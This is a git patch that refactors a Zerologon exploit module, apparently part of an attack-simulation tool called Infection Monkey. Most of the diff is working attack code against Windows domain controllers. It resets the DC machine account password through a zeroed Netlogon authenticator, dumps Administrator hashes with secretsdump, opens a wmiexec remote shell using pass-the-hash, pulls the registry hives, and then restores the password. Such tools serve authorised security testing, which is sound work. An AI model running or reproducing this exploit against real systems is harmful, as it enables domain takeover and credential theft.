From 961d5f81f8c29ade20d1d566e5fe7c40f5bd8ee1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 1 Feb 2021 13:11:16 +0530 Subject: [PATCH] Make DC details object attributes --- monkey/infection_monkey/exploit/zerologon.py | 72 ++++++++++---------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 844bdcaa1..89f072f3d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -97,13 +97,13 @@ class ZerologonExploiter(HostExploiter): self.exploit_info['credentials'] = {} def _exploit_host(self): - DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) + self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc(DC_IP) + rpc_con = self.connect_to_dc() # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -111,7 +111,7 @@ class ZerologonExploiter(HostExploiter): result = None for _ in range(0, self.MAX_ATTEMPTS): try: - result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) + result = self.attempt_exploit(rpc_con) except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. @@ -124,11 +124,11 @@ class ZerologonExploiter(HostExploiter): break self.report_login_attempt(result=False, - user=DC_NAME) + user=self.DC_NAME) if result['ErrorCode'] == 0: self.report_login_attempt(result=True, - user=DC_NAME) + user=self.DC_NAME) LOG.info("Exploit complete!") else: LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") @@ -141,7 +141,7 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - if self.restore_password(DC_HANDLE, DC_IP, DC_NAME): + if self.restore_password(): LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -153,46 +153,46 @@ class ZerologonExploiter(HostExploiter): def is_exploitable(self): return self.zerologon_finger.get_host_fingerprint(self.host) - def connect_to_dc(self, DC_IP): - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + def connect_to_dc(self): + binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con - def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME): + def attempt_exploit(self, rpc_con): request = nrpc.NetrServerPasswordSet2() - request['PrimaryName'] = DC_HANDLE + '\x00' - request['AccountName'] = DC_NAME + '$\x00' + request['PrimaryName'] = self.DC_HANDLE + '\x00' + request['AccountName'] = self.DC_NAME + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator - request['ComputerName'] = DC_NAME + '\x00' + request['ComputerName'] = self.DC_NAME + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) - def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): + def restore_password(self): LOG.info("Restoring original password...") LOG.debug("DCSync; getting admin password's hashes.") - admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) + admin_pwd_hashes = self.get_admin_pwd_hashes() try: if not admin_pwd_hashes: raise Exception("Couldn't extract admin password's hashes.") LOG.debug("Getting original DC password's nthash.") - original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) + original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") # Keep authenticating until successful. LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) + rpc_con = self.attempt_restoration(original_pwd_nthash) if rpc_con is not None: break @@ -205,15 +205,15 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) - def get_admin_pwd_hashes(self, DC_NAME, DC_IP): + def get_admin_pwd_hashes(self): options = self.OPTIONS_FOR_SECRETSDUMP.copy() - options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" - options['target_ip'] = DC_IP - options['dc_ip'] = DC_IP + options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" + options['target_ip'] = self.DC_IP + options['dc_ip'] = self.DC_IP dumped_secrets = self.get_dumped_secrets(options=options, - remote_name=DC_IP, - username=f"{DC_NAME}$") + remote_name=self.DC_IP, + username=f"{self.DC_NAME}$") user = 'Administrator' for secret in dumped_secrets: if user in secret: @@ -242,14 +242,14 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): - if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): + def get_original_pwd_nthash(self, admin_pwd_hashes): + if not self.save_HKLM_keys_locally(admin_pwd_hashes): return options = self.OPTIONS_FOR_SECRETSDUMP.copy() for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - options['dc_ip'] = DC_IP + options['dc_ip'] = self.DC_IP options['just_dc'] = False dumped_secrets = self.get_dumped_secrets(options=options, @@ -264,13 +264,13 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = dumper.dump().split('\n') return dumped_secrets - def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): + def save_HKLM_keys_locally(self, admin_pwd_hashes): LOG.debug("Starting remote shell on victim.") - wmiexec = Wmiexec(ip=DC_IP, + wmiexec = Wmiexec(ip=self.DC_IP, username='Administrator', hashes=admin_pwd_hashes, - domain=DC_IP) + domain=self.DC_IP) remote_shell = wmiexec.get_remote_shell() if remote_shell: @@ -299,24 +299,24 @@ class ZerologonExploiter(HostExploiter): else: raise Exception("Could not start remote shell on DC.") - def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + def attempt_restoration(self, original_pwd_nthash): # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc(DC_IP) + rpc_con = self.connect_to_dc() plaintext = b'\x00'*8 ciphertext = b'\x00'*8 flags = 0x212fffff # Send challenge and authentication request. - server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00', - DC_NAME + '\x00', plaintext) + server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00', + self.DC_NAME + '\x00', plaintext) server_challenge = server_challenge_response['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00', + rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - DC_NAME + '\x00', ciphertext, flags + self.DC_NAME + '\x00', ciphertext, flags ) # It worked! @@ -335,9 +335,9 @@ class ZerologonExploiter(HostExploiter): request = NetrServerPasswordSet() request['PrimaryName'] = NULL - request['AccountName'] = DC_NAME + '$\x00' + request['AccountName'] = self.DC_NAME + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['ComputerName'] = DC_NAME + '\x00' + request['ComputerName'] = self.DC_NAME + '\x00' request["Authenticator"] = authenticator pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data